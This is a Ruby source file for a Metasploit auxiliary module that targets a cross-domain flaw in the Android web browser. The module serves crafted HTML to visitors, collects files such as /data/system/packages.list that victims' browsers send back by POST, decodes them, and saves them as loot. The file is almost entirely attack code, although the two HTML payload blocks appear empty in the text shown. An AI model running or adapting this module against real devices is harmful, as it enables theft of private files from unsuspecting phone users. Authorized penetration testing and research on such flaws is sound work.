##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Auxiliary::Report
def initialize(info = {})
super(update_info(info,
'Name' => 'Android Content Provider File Disclosure',
'Version' => '$Revision$',
'Description' => %q{
This module exploits a cross-domain issue within the Android web browser to
exfiltrate files from a vulnerable device.
},
'Author' =>
[
'Thomas Cannon', # Original discovery, partial disclsoure
'jduck' # Metasploit module
],
'Version' => '$Revision$',
'License' => MSF_LICENSE,
'Actions' =>
[
[ 'WebServer' ]
],
'PassiveActions' =>
[
'WebServer'
],
'DefaultAction' => 'WebServer'))
register_options(
[
OptString.new('FILES', [ false, "The remote file(s) to steal",
'/proc/version,/proc/self/status,/data/system/packages.list' ])
], self.class)
end
def on_request_uri(cli, request)
print_status("#{cli.peerhost}:#{cli.peerport} Request '#{request.method} #{request.uri}'")
selected_headers = [ 'user-agent', 'origin', 'referer' ]
request.headers.each_key { |k|
next if not selected_headers.include? k.downcase
print_status("#{cli.peerhost}:#{cli.peerport} + #{k}: #{request.headers[k]}")
}
return process_post(cli, request) if request.method == "POST"
# Only GET requests now..
if request.uri =~ /\.html?$/
filename = request.uri.split('/').last
target_files = datastore['FILES'].split(',').map{ |e|
"'%s'" % e
}.join(',')
upload_url = get_uri(cli)
upload_url << '/' if upload_url[-1,1] != '/'
upload_url << 'q'
html = <<-EOS
EOS
print_status("#{cli.peerhost}:#{cli.peerport} Sending payload HTML ...")
send_response_html(cli, html,
{
'Cache-Control' => 'public',
'Content-Description' => 'File Transfer',
'Content-Disposition' => "attachment; filename=#{filename}",
'Content-Transfer-Encoding' => 'binary',
'Content-Type' => 'text/html'
})
else
payload_fn = Rex::Text.rand_text_alphanumeric(4+rand(8))
html = <<-EOS
EOS
print_status("#{cli.peerhost}:#{cli.peerport} Sending initial HTML ...")
send_response_html(cli, html)
end
end
def process_post(cli, request)
results = {}
if request and request.body
request.body.split('&').each { |var|
parts = var.split('=', 2)
if parts.length != 2
print_error("Weird, we got a var that doesn't contain an equals: #{parts.inspect}")
else
fln,fld = parts
fld = Rex::Text.uri_decode(fld).unpack('m').first
start = fln.slice!(0,1)
if start == "f"
results[fln] ||= {}
results[fln][:filename] = fld
elsif start == "d"
results[fln] ||= {}
results[fln][:data] = fld
end
end
}
end
results.each_key { |k|
e = results[k]
fn = e[:filename]
data = e[:data]
print_good("#{cli.peerhost}:#{cli.peerport} ! #{fn.inspect} contains #{data.inspect}")
fn.gsub!(/[\/\\]/, '.')
fn.gsub!(/^\./, '')
store_loot('android.fs.'+fn, 'application/octet-stream', cli.peerhost, data, fn)
}
send_response_html(cli, "thx")
end
def run
exploit()
end
end